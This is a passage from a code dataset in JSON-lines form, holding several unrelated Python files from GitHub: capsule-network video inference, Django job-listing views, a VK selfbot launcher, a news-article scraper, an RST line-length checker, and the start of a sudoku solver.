tf.compat.v1.Session(graph=capsnet.graph, config=gpu_config) as sess:\n tf.compat.v1.global_variables_initializer().run()\n capsnet.load(sess, config.save_file_name % (config.start_at_epoch - 1))\n\n video = vread(video_name)\n\n n_frames = video.shape[0]\n crop_size = (112, 112)\n\n # assumes a given aspect ratio of (240, 320). If given a cropped video, then no resizing occurs\n if video.shape[1] != 112 and video.shape[2] != 112:\n h, w = 120, 160\n\n video_res = np.zeros((n_frames, 120, 160, 3))\n\n for f in range(n_frames):\n video_res[f] = imresize(video[f], (120, 160))\n else:\n h, w = 112, 112\n video_res = video\n\n # crops video to 112x112\n margin_h = h - crop_size[0]\n h_crop_start = int(margin_h / 2)\n margin_w = w - crop_size[1]\n w_crop_start = int(margin_w / 2)\n video_cropped = video_res[:, h_crop_start:h_crop_start + crop_size[0], w_crop_start:w_crop_start + crop_size[1],:]\n\n print('Saving Cropped Video')\n vwrite('cropped.avi', video_cropped)\n\n video_cropped = video_cropped / 255.\n\n f_skip = config.frame_skip\n\n for i in range(0, n_frames, 8 * f_skip):\n # if frames are skipped (subsampled) during training, they should also be skipped at test time\n # creates a batch of video clips\n x_batch = [[] for i in range(f_skip)]\n predictions = []\n for k in range(f_skip * 8):\n if i + k >= n_frames:\n x_batch[k % f_skip].append(np.zeros_like(video_cropped[-1]))\n else:\n x_batch[k % f_skip].append(video_cropped[i + k])\n x_batch = [np.stack(x, axis=0) for x in x_batch]\n\n pred = sess.run(capsnet.digit_preds,\n feed_dict={capsnet.x_input: x_batch, capsnet.y_input: np.ones((f_skip,), np.int32) * -1,\n capsnet.m: 0.9, capsnet.is_train: False})\n\n predictions.append(pred)\n predictions = np.concatenate(predictions, axis=0)\n predictions = predictions.reshape((-1, config.n_classes))\n print(predictions)\n fin_pred = np.mean(predictions, axis=0)\n print(\"Pred after np.mean\", fin_pred)\n fin_pred = np.argmax(fin_pred)\n print(\"Pred after np.argmax\", fin_pred)\n\n\ninference('test.avi')\n","repo_name":"simvolice/VideoCapsuleNet","sub_path":"inference.py","file_name":"inference.py","file_ext":"py","file_size_in_byte":2784,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"21830994707","text":"# -*- coding:utf-8 -*-\n\"\"\"数据库管理通用视图.\"\"\"\n\n# =========================================================\n# 作者:韩望\n# 时间:2018-06-30\n# 功能:数据库职业公司视图\n# 版本: v 0.0.0.1_base\n# 公司:中化能源互联科技组\n# 更新:无\n# 备注:无\n# =========================================================\n# Create your models here.\n\nfrom django.shortcuts import render\nfrom django.http import HttpResponse\nfrom django.db.models import Q\n\n# Create your views here.\nfrom django.views.generic import View, ListView, DetailView\nfrom django.views.generic.edit import CreateView\nfrom huntjob.models import (\n JobInformation,\n JobSalaryBenefitsRelationship,\n JobInformationFunctionsRelationship,\n CompanyScale,\n CompanyStyle,\n CompanyIndustry,\n CompanyInformation,\n)\nfrom utils.common_lib import (\n CommonMixin,\n LoginRequiredMixin,\n EasyAndDateTimeConversion,\n)\nfrom huntjob.forms import (\n CompanyScaleCreateForm,\n CompanyStyleCreateForm,\n CompanyIndustryCreateForm,\n CompanyInformationyCreateForm,\n)\nfrom django.core.urlresolvers import reverse_lazy\nfrom django.http import HttpResponseRedirect\nimport logging\n\n_log = logging.getLogger(__name__)\n\n\nclass HuntJobIndexListView(LoginRequiredMixin, CommonMixin, ListView):\n \"\"\"岗位搜索展示默认页\"\"\"\n\n model = JobInformation\n template_name = \"default/index.html\"\n page_title = \"职位列表\"\n paginate_by = '10'\n context_object_name = 'job_infromations'\n\n def get_queryset(self):\n \"\"\"重写.\"\"\"\n name = self.request.GET.get('name')\n\n job_infromations = JobInformation.objects\n if name:\n job_infromations = job_infromations.filter(Q(name__contains=name) | Q(work_place__contains=name) | Q(job_responsibilities__contains=name) | Q(job_requirements__contains=name))\n return job_infromations.all()\n\n def get_context_data(self, **kwargs):\n \"\"\"重写.\"\"\"\n context = super(HuntJobIndexListView, self).get_context_data(**kwargs)\n return context\n\n\nclass JobInformationDetailView(LoginRequiredMixin, CommonMixin, DetailView):\n \"\"\"岗位详情展示.\"\"\"\n\n model = JobInformation\n page_title = '岗位详情'\n slug_field = 'id'\n slug_url_kwarg = 'id'\n template_name = \"default/job_information_detail.html\"\n context_object_name = \"job_information\"\n\n def get_context_data(self, **kwargs):\n \"\"\"重写上下文函数.\"\"\"\n context = super(JobInformationDetailView, self).get_context_data(**kwargs)\n name = context[self.context_object_name].name\n job_salary_benefits_relationship_objs = JobSalaryBenefitsRelationship.objects.filter(job_information=context[self.context_object_name])\n context['job_salary_benefits_relationship_objs'] = job_salary_benefits_relationship_objs\n job_information_functions_relationship_objs = JobInformationFunctionsRelationship.objects.filter(job_information=context[self.context_object_name])\n context['job_information_functions_relationship_objs'] = job_information_functions_relationship_objs\n job_information_objs = JobInformation.objects.filter(name__contains=name)\n context['job_information_objs'] = job_information_objs[:8]\n return context\n\n\nclass HuntJobCompanyScaleListView(LoginRequiredMixin, CommonMixin, ListView):\n \"\"\"公司规模列表\"\"\"\n\n model = CompanyScale\n template_name = \"company/huntjob_company_scale_list.html\"\n page_title = \"公司规模列表\"\n paginate_by = '10'\n context_object_name = 'huntjob_company_scale_objs'\n\n def get_queryset(self):\n \"\"\"重写.\"\"\"\n name = self.request.GET.get('name')\n\n huntjob_company_scale_objs = CompanyScale.objects\n if name:\n huntjob_company_scale_objs = huntjob_company_scale_objs.filter(Q(name__contains=name) | Q(value_max__contains=name))\n return huntjob_company_scale_objs.all()\n\n def get_context_data(self, **kwargs):\n \"\"\"重写.\"\"\"\n context = super(HuntJobCompanyScaleListView, self).get_context_data(**kwargs)\n return context\n\n\nclass HuntJobCompanyScaleCreateView(LoginRequiredMixin, CommonMixin, CreateView):\n \"\"\"公司规模创建.\"\"\"\n\n template_name = 'company/huntjob_company_scale_create.html'\n page_title = '公司规模创建'\n form_class = CompanyScaleCreateForm\n success_url = reverse_lazy('huntjob:huntjob_company_scale_list')\n\n def get_form_kwargs(self):\n \"\"\"重写.\"\"\"\n kwargs = super(HuntJobCompanyScaleCreateView, self).get_form_kwargs()\n kwargs['request'] = self.request\n return kwargs\n\n def post(self, request, *args, **kwargs):\n try:\n name = request.POST.get('name')\n value_max = request.POST.get('value_max')\n description = request.POST.get('description', '')\n CompanyScale.objects.create(name=name, value_max=value_max, description=description)\n except Exception as e:\n _log.info(e)\n return HttpResponseRedirect(self.success_url)\n\n\nclass HuntJobCompanyScaleUpdateView(LoginRequiredMixin, CommonMixin, View):\n \"\"\"公司规模更新.\"\"\"\n\n template_name = 'company/huntjob_company_scale_update.html'\n page_title = '公司规模更新'\n success_url = reverse_lazy('huntjob:huntjob_company_scale_list')\n\n def get(self, request, *args, **kwargs):\n pid = self.kwargs.get('id')\n huntjob_company_scale_obj = CompanyScale.objects.filter(id=pid).first()\n return render(request, self.template_name, locals())\n\n def post(self, request, *args, **kwargs):\n print(\"==========post start===================\")\n try:\n pid = self.kwargs.get('id')\n name = request.POST.get('name')\n value_max = request.POST.get('value_max')\n description = request.POST.get('description', '')\n # CompanyScale.objects.filter(id=pid).update(name=name, value_max=value_max, description=description)\n company_scale_obj = CompanyScale.objects.filter(id=pid).first()\n company_scale_obj.name = name\n company_scale_obj.value_max = value_max\n company_scale_obj.description = description\n company_scale_obj.save()\n except Exception as e:\n print(e)\n _log.info(e)\n print(\"===========post end=========================\")\n return HttpResponseRedirect(self.success_url)\n\n\nclass HuntJobCompanyScaleDetailView(LoginRequiredMixin, CommonMixin, DetailView):\n \"\"\"公司规模详情展示.\"\"\"\n\n model = CompanyScale\n page_title = '公司规模详情'\n slug_field = 'id'\n slug_url_kwarg = 'id'\n template_name = \"company/huntjob_company_scale_detail.html\"\n context_object_name = \"huntjob_company_scale_obj\"\n\n\nclass HuntJobCompanyStyleListView(LoginRequiredMixin, CommonMixin, ListView):\n \"\"\"性质列表\"\"\"\n\n model = CompanyStyle\n template_name = \"company/huntjob_company_style_list.html\"\n page_title = \"性质列表\"\n paginate_by = '10'\n context_object_name = 'huntjob_company_style_objs'\n\n def get_queryset(self):\n \"\"\"重写.\"\"\"\n name = self.request.GET.get('name')\n\n huntjob_company_style_objs = CompanyStyle.objects\n if name:\n huntjob_company_style_objs = huntjob_company_style_objs.filter(Q(name__contains=name))\n return huntjob_company_style_objs.all()\n\n def get_context_data(self, **kwargs):\n \"\"\"重写.\"\"\"\n context = super(HuntJobCompanyStyleListView, self).get_context_data(**kwargs)\n return context\n\n\nclass HuntJobCompanyStyleCreateView(LoginRequiredMixin, CommonMixin, CreateView):\n \"\"\"公司性质创建.\"\"\"\n\n template_name = 'company/huntjob_company_style_create.html'\n page_title = '公司性质创建'\n form_class = CompanyStyleCreateForm\n success_url = reverse_lazy('huntjob:huntjob_company_style_list')\n\n def get_form_kwargs(self):\n \"\"\"重写.\"\"\"\n kwargs = super(HuntJobCompanyStyleCreateView, self).get_form_kwargs()\n kwargs['request'] = self.request\n return kwargs\n\n def post(self, request, *args, **kwargs):\n try:\n name = request.POST.get('name')\n description = request.POST.get('description', '')\n CompanyStyle.objects.create(name=name, description=description)\n except Exception as e:\n _log.info(e)\n return HttpResponseRedirect(self.success_url)\n\n\nclass HuntJobCompanyStyleUpdateView(LoginRequiredMixin, CommonMixin, View):\n \"\"\"公司性质更新.\"\"\"\n\n template_name = 'company/huntjob_company_style_update.html'\n page_title = '公司性质更新'\n success_url = reverse_lazy('huntjob:huntjob_company_style_list')\n\n def get(self, request, *args, **kwargs):\n pid = self.kwargs.get('id')\n huntjob_company_style_obj = CompanyStyle.objects.filter(id=pid).first()\n return render(request, self.template_name, locals())\n\n def post(self, request, *args, **kwargs):\n try:\n pid = self.kwargs.get('id')\n name = request.POST.get('name')\n description = request.POST.get('description', '')\n CompanyStyle.objects.filter(id=pid).update(name=name, description=description)\n except Exception as e:\n _log.info(e)\n return HttpResponseRedirect(self.success_url)\n\n\nclass HuntJobCompanyStyleDetailView(LoginRequiredMixin, CommonMixin, DetailView):\n \"\"\"公司性质详情展示.\"\"\"\n\n model = CompanyStyle\n page_title = '公司性质详情'\n slug_field = 'id'\n slug_url_kwarg = 'id'\n template_name = \"company/huntjob_company_style_detail.html\"\n context_object_name = \"huntjob_company_style_obj\"\n\n\nclass HuntJobCompanyIndustryListView(LoginRequiredMixin, CommonMixin, ListView):\n \"\"\"行业列表\"\"\"\n\n model = CompanyIndustry\n template_name = \"company/huntjob_company_industry_list.html\"\n page_title = \"行业列表\"\n paginate_by = '10'\n context_object_name = 'huntjob_company_industry_objs'\n\n def get_queryset(self):\n \"\"\"重写.\"\"\"\n name = self.request.GET.get('name')\n\n huntjob_company_industry_objs = CompanyIndustry.objects\n if name:\n huntjob_company_industry_objs = huntjob_company_industry_objs.filter(Q(name__contains=name))\n return huntjob_company_industry_objs.all()\n\n def get_context_data(self, **kwargs):\n \"\"\"重写.\"\"\"\n context = super(HuntJobCompanyIndustryListView, self).get_context_data(**kwargs)\n return context\n\n\nclass HuntJobCompanyIndustryCreateView(LoginRequiredMixin, CommonMixin, CreateView):\n \"\"\"行业创建.\"\"\"\n\n template_name = 'company/huntjob_company_industry_create.html'\n page_title = '行业创建'\n form_class = CompanyIndustryCreateForm\n success_url = reverse_lazy('huntjob:huntjob_company_industry_list')\n\n def get_form_kwargs(self):\n \"\"\"重写.\"\"\"\n kwargs = super(HuntJobCompanyIndustryCreateView, self).get_form_kwargs()\n kwargs['request'] = self.request\n return kwargs\n\n def get_context_data(self, **kwargs):\n \"\"\"重写,添加所有节点对象.\"\"\"\n context = super(HuntJobCompanyIndustryCreateView, self).get_context_data(**kwargs)\n huntjob_company_industry_objs = CompanyIndustry.objects.all()\n context['huntjob_company_industry_objs'] = huntjob_company_industry_objs\n return context\n\n def post(self, request, *args, **kwargs):\n try:\n name = request.POST.get('name')\n parent_node = request.POST.get('parent_node')\n description = request.POST.get('description', '')\n CompanyIndustry.objects.create(name=name, parent_node=parent_node, description=description)\n except Exception as e:\n _log.info(e)\n return HttpResponseRedirect(self.success_url)\n\n\nclass HuntJobCompanyIndustryUpdateView(LoginRequiredMixin, CommonMixin, View):\n \"\"\"公司行业更新.\"\"\"\n\n template_name = 'company/huntjob_company_industry_update.html'\n page_title = '公司行业更新'\n success_url = reverse_lazy('huntjob:huntjob_company_industry_list')\n\n def get(self, request, *args, **kwargs):\n pid = self.kwargs.get('id')\n huntjob_company_industry_objs = CompanyIndustry.objects.all()\n huntjob_company_industry_obj = huntjob_company_industry_objs.filter(id=pid).first()\n return render(request, self.template_name, locals())\n\n def post(self, request, *args, **kwargs):\n try:\n pid = self.kwargs.get('id')\n name = request.POST.get('name')\n parent_node = request.POST.get('parent_node')\n description = request.POST.get('description', '')\n CompanyIndustry.objects.filter(id=pid).update(name=name, parent_node=parent_node, description=description)\n except Exception as e:\n _log.info(e)\n return HttpResponseRedirect(self.success_url)\n\n\nclass HuntJobCompanyIndustryDetailView(LoginRequiredMixin, CommonMixin, DetailView):\n \"\"\"公司行业详情展示.\"\"\"\n\n model = CompanyIndustry\n page_title = '公司行业详情'\n slug_field = 'id'\n slug_url_kwarg = 'id'\n template_name = \"company/huntjob_company_industry_detail.html\"\n context_object_name = \"huntjob_company_industry_obj\"\n\n def get_context_data(self, **kwargs):\n \"\"\"重写,添加父节点.\"\"\"\n try:\n pid = self.kwargs.get('id')\n context = super(HuntJobCompanyIndustryDetailView, self).get_context_data(**kwargs)\n huntjob_company_industry_obj = CompanyIndustry.objects.filter(id=pid).first()\n parent_node = huntjob_company_industry_obj.parent_node\n huntjob_company_industry_parent_obj = CompanyIndustry.objects.filter(id=parent_node).first()\n context['huntjob_company_industry_parent_obj'] = huntjob_company_industry_parent_obj\n except Exception as e:\n raise e\n return context\n\n\nclass HuntJobCompanyInformationListView(LoginRequiredMixin, CommonMixin, ListView):\n \"\"\"公司列表\"\"\"\n\n model = CompanyInformation\n template_name = \"company/huntjob_company_information_list.html\"\n page_title = \"公司列表\"\n paginate_by = '30'\n context_object_name = 'huntjob_company_information_objs'\n\n def get_queryset(self):\n \"\"\"重写.\"\"\"\n name = self.request.GET.get('name')\n\n huntjob_company_information_objs = CompanyInformation.objects\n if name:\n huntjob_company_information_objs = huntjob_company_information_objs.filter(Q(name__contains=name) | Q(scale__contains=name) | Q(address__contains=name))\n return huntjob_company_information_objs.all()\n\n def get_context_data(self, **kwargs):\n \"\"\"重写.\"\"\"\n context = super(HuntJobCompanyInformationListView, self).get_context_data(**kwargs)\n return context\n\n\nclass HuntJobCompanyInformationCreateView(LoginRequiredMixin, CommonMixin, CreateView):\n \"\"\"公司创建.\"\"\"\n\n template_name = 'company/huntjob_company_information_create.html'\n page_title = '公司创建'\n form_class = CompanyInformationyCreateForm\n success_url = reverse_lazy('huntjob:huntjob_company_information_list')\n\n def get_form_kwargs(self):\n \"\"\"重写.\"\"\"\n kwargs = super(HuntJobCompanyInformationCreateView, self).get_form_kwargs()\n kwargs['request'] = self.request\n return kwargs\n\n def get_context_data(self, **kwargs):\n \"\"\"重写.\"\"\"\n context = super(HuntJobCompanyInformationCreateView, self).get_context_data(**kwargs)\n context['scale_objs'] = CompanyScale.objects.all()\n context['style_objs'] = CompanyStyle.objects.all()\n context['industry_objs'] = CompanyIndustry.objects.filter(~Q(parent_node=0))\n return context\n\n def post(self, request, *args, **kwargs):\n try:\n name = request.POST.get('name')\n scale = request.POST.get('scale')\n scale = CompanyScale.objects.filter(id=scale).first()\n style = request.POST.get('style')\n style = CompanyStyle.objects.filter(id=style).first()\n industry = request.POST.get('industry')\n industry = CompanyIndustry.objects.filter(id=industry).first()\n address = request.POST.get('address')\n contact = request.POST.get('contact')\n introduction = request.POST.get('introduction')\n description = request.POST.get('description')\n established = request.POST.get('established')\n established = EasyAndDateTimeConversion.easy_to_datetime(established)\n CompanyInformation.objects.create(name=name, scale=scale, style=style, industry=industry, address=address, contact=contact, introduction=introduction, description=description, established=established)\n except Exception as e:\n print(e)\n _log.info(e)\n return HttpResponseRedirect(self.success_url)\n\n\nclass HuntJobCompanyInformationUpdateView(LoginRequiredMixin, CommonMixin, View):\n \"\"\"公司信息更新.\"\"\"\n\n template_name = 'company/huntjob_company_information_update.html'\n page_title = '公司信息更新'\n success_url = reverse_lazy('huntjob:huntjob_company_information_list')\n\n def get(self, request, *args, **kwargs):\n pid = self.kwargs.get('id')\n huntjob_company_information_objs = CompanyInformation.objects.all()\n huntjob_company_information_obj = huntjob_company_information_objs.filter(id=pid).first()\n scale_objs = CompanyScale.objects.all()\n style_objs = CompanyStyle.objects.all()\n industry_objs = CompanyIndustry.objects.all()\n return render(request, self.template_name, locals())\n\n def post(self, request, *args, **kwargs):\n try:\n pid = self.kwargs.get('id')\n name = request.POST.get('name')\n scale = request.POST.get('scale')\n scale = CompanyScale.objects.filter(id=scale).first()\n style = request.POST.get('style')\n style = CompanyStyle.objects.filter(id=style).first()\n industry = request.POST.get('industry')\n industry = CompanyIndustry.objects.filter(id=industry).first()\n address = request.POST.get('address')\n contact = request.POST.get('contact')\n introduction = request.POST.get('introduction')\n description = request.POST.get('description')\n established = request.POST.get('established')\n established = EasyAndDateTimeConversion.easy_to_datetime(established)\n CompanyInformation.objects.filter(id=pid).update(name=name, scale=scale, style=style, industry=industry, address=address, contact=contact, introduction=introduction, description=description, established=established)\n except Exception as e:\n _log.info(e)\n return HttpResponseRedirect(self.success_url)\n\n\nclass HuntJobCompanyInformationDetailView(LoginRequiredMixin, CommonMixin, DetailView):\n \"\"\"公司详情展示.\"\"\"\n\n model = CompanyInformation\n page_title = '公司详情'\n slug_field = 'id'\n slug_url_kwarg = 'id'\n template_name = \"company/huntjob_company_information_detail.html\"\n context_object_name = \"huntjob_company_information_obj\"\n","repo_name":"hanwang06071012/city","sub_path":"city/huntjob/views/huntjob_company_views.py","file_name":"huntjob_company_views.py","file_ext":"py","file_size_in_byte":19288,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"23423770696","text":"import random\nimport asyncio\n\nfrom vkbottle import load_blueprints_from_package\nfrom vkbottle.user import User, Message, run_multibot\nfrom vkbottle.bot import Bot\nimport asyncio\nfrom vkbottle.api import API\nimport logging\nimport sys\nfrom orm import init\nfrom blueprints import bps\nfrom vkbottle import CtxStorage\nfrom models.status import Status\nfrom middlewares.ThresholdMiddleware import ThresholdMiddleware\nfrom vkbottle import LoopWrapper\nfrom vkbottle.user import rules\n\nlogger = logging.getLogger(\"vkbottle\")\nlogger.setLevel(20)\nhandler = logging.StreamHandler(sys.stdout)\nhandler.setLevel(logging.INFO)\nformatter = logging.Formatter(\n u'[%(asctime)s] %(levelname)s: %(message)s ' + '(%(filename)s:%(threadName)s:%(funcName)s:%(lineno)s)',\n datefmt='%Y-%m-%d %H:%M:%S'\n)\nhandler.setFormatter(formatter)\nlogger.addHandler(handler)\n\nlw = LoopWrapper()\nuser = User()\nuser.loop_wrapper = lw\nuser.labeler.message_view.register_middleware(ThresholdMiddleware)\nbot = Bot(token=\"\")\nbot.loop_wrapper = lw\n\n\n@user.on.private_message(rules.FromUserRule())\nasync def hi_handler(message: Message):\n current_user = await message.ctx_api.account.get_profile_info()\n uid = current_user.id\n status = CtxStorage().get(f\"status_{uid}\")\n\n if status:\n status_text = await Status.get(name=status).values(\"text\")\n\n users_info = await bot.api.users.get(message.from_id)\n await message.answer(\"Привет, {}.\\n{}\".format(users_info[0].first_name, status_text[\"text\"]))\n\n\nif __name__ == '__main__':\n storage = CtxStorage()\n for i in bps:\n i.load(bot)\n loop = asyncio.get_event_loop()\n lw.add_task(bot.run_polling())\n lw.add_task(init())\n run_multibot(\n user,\n apis=(\n API(token=\"\"),\n )\n )\n","repo_name":"zakharov98/selfbot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1771,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"16129666135","text":"'''\nTo run this code on ur machine, u need to install the following using pip\n\nBeautiful soup --> pip install beautifulsoup4\nRequests --> pip install requests\nhtml5lib --> pip install html5lib\n'''\n\n\nimport requests\nfrom bs4 import BeautifulSoup\n\n'''\nInputs: The url u need to scrape, the class of articles in html of the website, the tag of article.\nExample: For the website 'https://thehackernews.com/', class of articles is 'story-link' and tag is 'a'.\nClick on InspectElement and u will be able to see these easily. Going Forward , we will figure out how\nto get all the articles by using the \"next\" link in the page.\n\nThe Output will be the links of all the articles in the first page. Since it is only POC, we've scraped\nthe articles in the first page only.\n\n'''\ndef getArticlesFromUrl(url, classOfArticleInHTML, HTMLtag):\n #Getting the content of web page\n request = requests.get(url)\n firstPage = request.content\n\n #Creating soup for beautifulSoup(Simply creating an object of BeautifulSoup)\n #html5lib is the parser. It is the latest one.\n soup = BeautifulSoup(firstPage, 'html5lib')\n\n #Get all the articles in the website\n \n articles = soup.find_all(HTMLtag, class_ = classOfArticleInHTML)\n\n #Get the links of the articles collected\n articleLinks = []\n for article in articles:\n articleLinks.append(article['href'])\n \n return articleLinks\n\n\n\n'''\nInputs: the list of links and all other inputs are self explanatory\n\nThe Function gathers the text in the given link(We will provide the links of the articles we gathered before)\nand creates a file with the same title as article and fills it with article's content.\n\nIt's important to know that it's a little complicated to define a general function for all the websites. However,\nWe tried to define a general function. \n\nThis is a little custom built for the first website 'https://thehackernews.com/'. \n\nLittle tweaks in the code will do the trick for all the websites cause they are not entirely different. \n'''\ndef getContentFromLinks(linksList, HTMLtagOfTitle, classOfTitle, HTMLtagOfBody, classOfBody):\n for link in linksList:\n request = requests.get(link)\n content = request.content\n\n soup = BeautifulSoup(content, 'html5lib')\n\n title = soup.find(HTMLtagOfTitle, class_= classOfTitle).get_text()\n\n body = soup.find_all(HTMLtagOfBody, class_=classOfBody)\n\n text = body[0].get_text().split()\n\n finalContent = ''\n\n i = 0\n while i < len(text):\n if text[i] == '(function':\n while text[i][-4:] != \"nt);\":\n i+=1\n \n elif i%17 == 0:\n finalContent+= (text[i] + '\\n')\n i+=1\n else:\n finalContent+= (text[i] + ' ')\n i+=1\n \n f = open(''+title +'.txt', 'w')\n f.write(title)\n f.write('\\n')\n f.write(finalContent)\n\n\n\n#Driver Code\n\nlinks = getArticlesFromUrl('https://thehackernews.com/', 'story-link', 'a' )\n\ngetContentFromLinks(links,'h1','story-title','div','articlebody clear cf')","repo_name":"suhasgumma/Problem-Solving","sub_path":"CodeChef/June Long Challenge/webScraping.py","file_name":"webScraping.py","file_ext":"py","file_size_in_byte":3114,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"22440484338","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nimport glob\nimport os\nimport re\nimport sys\n\nLIMIT_TEXT = 75\nLIMIT_CODE = 114\n\n\ndef check_url(line):\n \"\"\"\n Check if there is a url present in the given line\n \"\"\"\n pattern = 'http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\\\\(\\\\), ]|(?:%[0-9a-fA-F][0-9a-fA-F]))+'\n url = re.findall(pattern, line)\n return bool(url)\n\n\ndef check_line_length(file_path):\n \"\"\"\n Ensures line length of lines in file specified in ``file_path`` are lower than ``LIMIT``,\n interrupts execution with exit code 1 otherwise\n \"\"\"\n file = file_path.split('/')[-1]\n limit_type = 'text'\n limit = 0\n errors = []\n with open(file_path) as f:\n lines = f.readlines()\n for (line_number, line) in enumerate(lines, start=1):\n # special cases to ignore\n text = line.strip()\n if (\n text.startswith('<a')\n or text.startswith('s')\n or text.startswith('allow=\"')\n ):\n continue\n is_code = re.search(r'code-block', line)\n if is_code:\n limit_type = 'code'\n check_first_character = False\n if limit_type == 'code':\n limit = LIMIT_CODE\n if check_first_character:\n leading_spaces = len(line) - len(line.lstrip())\n if not leading_spaces and len(line) > 1:\n limit_type = 'text'\n limit = LIMIT_TEXT\n else:\n limit_type = 'text'\n limit = LIMIT_TEXT\n length = len(line)\n if length > limit and check_url(line) is not True:\n errors.append(\n 'line {} in file {} is longer '\n 'than {} characters'.format(line_number, file, limit)\n )\n check_first_character = True\n if len(errors):\n body = 'The document line length exceeds the right limit.\\n'\n body += 'Please check the length of the document.\\n\\n'\n for error in errors:\n body += '- {}\\n'.format(error)\n print(body)\n sys.exit(1)\n\n\ndef main():\n current_path = os.getcwd()\n file_paths = glob.glob(current_path + '/**/*.rst')\n for file_path in file_paths:\n check_line_length(file_path)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"openwisp/openwisp2-docs","sub_path":"check_line_length.py","file_name":"check_line_length.py","file_ext":"py","file_size_in_byte":2276,"program_lang":"python","lang":"en","doc_type":"code","stars":45,"dataset":"github-code","pt":"5"} +{"seq_id":"39514699715","text":"import time\nstart_time = time.time()\n\nclass Solver:\n def __init__(self, filename):\n with open(filename, 'r') as f:\n sudoku = f.read().split(\"\\n\")\n default_sudoku = [s.split(\",\") for s in sudoku]\n self.sudoku = default_sudoku\n self.default_sudoku = default_sudoku\n\n self.randoms_to_try = []\n self.randoms_positions = []\n self.randoms_tested = []\n\n self.s = [[], [], [], [], [], [], [], [], []]\n self.versions = [self.default_sudoku]\n\n # remove n-th array of empty if the number is the only one in the line or col or if there's no other possibility for this space\n # eliminates possibilities for each empty space if one of the remainings can only be placed at one spot\n def eliminate_possibilities(self, randoms_index=0):\n squares = self.s\n x_update, y_update = None, None\n # should_stop = True\n nothing_changed = True\n for square_index, square in enumerate(squares):\n empty = square[\"empty\"]\n for i, possibilities in enumerate(empty):\n # should_stop = False\n for j, possibility in enumerate(possibilities):\n flat = [item for sublist in empty for item in sublist]\n index_of_possibility = sum([len(e) for e in empty[:i]]) + j\n flat.pop(index_of_possibility)\n\n if not possibility in flat or len(possibilities) == 1:\n nothing_changed = False\n # i-ième espace\n # index = [i for i, n in enumerate(square[\"squares\"]) if n == ' '][i]\n # square[\"squares\"][index] = str(possibility)\n # square[\"remaining\"].remove(int(possibility))\n x_update, y_update = tuple(square[\"empty_positions\"][i].split(\"-\"))\n x_update, y_update = int(x_update), int(y_update)\n self.sudoku[x_update][y_update] = str(possibility)\n\n # squares[square_index] = square\n else:\n continue # only executed if the inner loop did NOT break\n break # only executed if the inner loop DID break\n else:\n continue # only executed if the inner loop did NOT break\n break # only executed if the inner loop DID break\n # s = squares\n\n result = self.check_winner()\n # print(result)\n\n if result == 'solved':\n print(self.sudoku)\n return result\n elif result == 'not finished' and not nothing_changed:\n self.prev_sudoku = self.sudoku\n self.s = [[], [], [], [], [], [], [], [], []]\n self.update_squares()\n self.eliminate_possibilities(randoms_index)\n elif (result == 'not finished' and nothing_changed) or result == 'error':\n if result == 'not finished' and nothing_changed:\n self.s = [[], [], [], [], [], [], [], [], []]\n self.update_squares(True)\n for i, random in enumerate(self.randoms_to_try[randoms_index:]):\n for j, number in enumerate(random):\n x_update, y_update = tuple(self.randoms_positions[randoms_index].split(\"-\"))\n x_update, y_update = int(x_update), int(y_update)\n self.sudoku[x_update][y_update] = str(number)\n\n self.s = [[], [], [], [], [], [], [], [], []]\n self.update_squares()\n self.eliminate_possibilities(randoms_index=randoms_index+1)\n result = self.check_winner()\n if result == \"solved\":\n print(self.sudoku)\n return result\n elif result == \"error\":\n self.sudoku = self.versions[randoms_index]\n \n self.randoms_tested[randoms_index] = self.randoms_tested[randoms_index] + 1\n # else:\n # if not should_stop:\n # s = [[], [], [], [], [], [], [], [], []]\n # s = update_squares()\n # eliminate_possibilities(s)\n # else:\n # return \"Solved\"\n\n\n\n def update_squares(self, should_append_to_randoms=False):\n squares = [[], [], [], [], [], [], [], [], []]\n # put every character in its square\n for i, line in enumerate(self.sudoku):\n if i in range(3):\n for k in range(3):\n for j in range(3):\n squares[k].append(line[k * 3 + j])\n elif i in range(3, 6):\n for k in range(3):\n for j in range(3):\n squares[k + 3].append(line[k * 3 + j])\n elif i in range(6, 9):\n for k in range(3):\n for j in range(3):\n squares[k + 6].append(line[k * 3 + j])\n\n squares = [{\"remaining\": [], \"squares\": square, \"empty\": [list() for s in square if s == \" \"], \"empty_positions\": [list() for s in square if s == \" \"]} for square in squares]\n\n # adds remaining numbers for each square\n for i, square in enumerate(squares):\n for j in range(1, 10):\n if not str(j) in square[\"squares\"]:\n square[\"remaining\"].append(j)\n\n # add every possibilities for every space for each square\n # iterate on every character of the sudoku\n # if character is a space\n # check the remaining array for the square\n # for each number in remaining check the line and col and add to empty if it can be placed\n lowest_possibilities_count = 99\n lowest_possibilities_numbers = []\n lowest_possibilities_positions = \"\"\n for i, line in enumerate(self.sudoku):\n for j, n in enumerate(line):\n if n == \" \":\n square_line = 0 if i in range(3) else (1 if i in range(3, 6) else 2)\n square_col = 0 if j in range(3) else (1 if j in range(3, 6) else 2)\n current_square = square_col + 3 * square_line\n\n remaining = squares[current_square][\"remaining\"]\n empty = squares[current_square][\"empty\"]\n\n index = empty.index(list())\n for r in remaining:\n col = [self.sudoku[k][j] for k in range(9)]\n if not str(r) in col and not str(r) in line:\n empty[index].append(r)\n \n if len(empty[index]) < lowest_possibilities_count:\n lowest_possibilities_count = len(empty[index])\n lowest_possibilities_numbers = empty[index]\n lowest_possibilities_positions = str(i) + \"-\" + str(j)\n \n squares[current_square][\"empty\"] = empty\n squares[current_square][\"empty_positions\"][index] = str(i) + \"-\" + str(j)\n\n if lowest_possibilities_count != 99 and should_append_to_randoms:\n self.randoms_to_try.append(lowest_possibilities_numbers)\n self.randoms_tested.append(0)\n self.randoms_positions.append(lowest_possibilities_positions)\n self.versions.append(self.sudoku)\n\n self.s = squares\n\n def check_winner(self):\n for i, line in enumerate(self.sudoku):\n for j, n in enumerate(line):\n if n == \" \":\n return \"not finished\" \n col = [self.sudoku[k][j] for k in range(9)]\n if n in col or 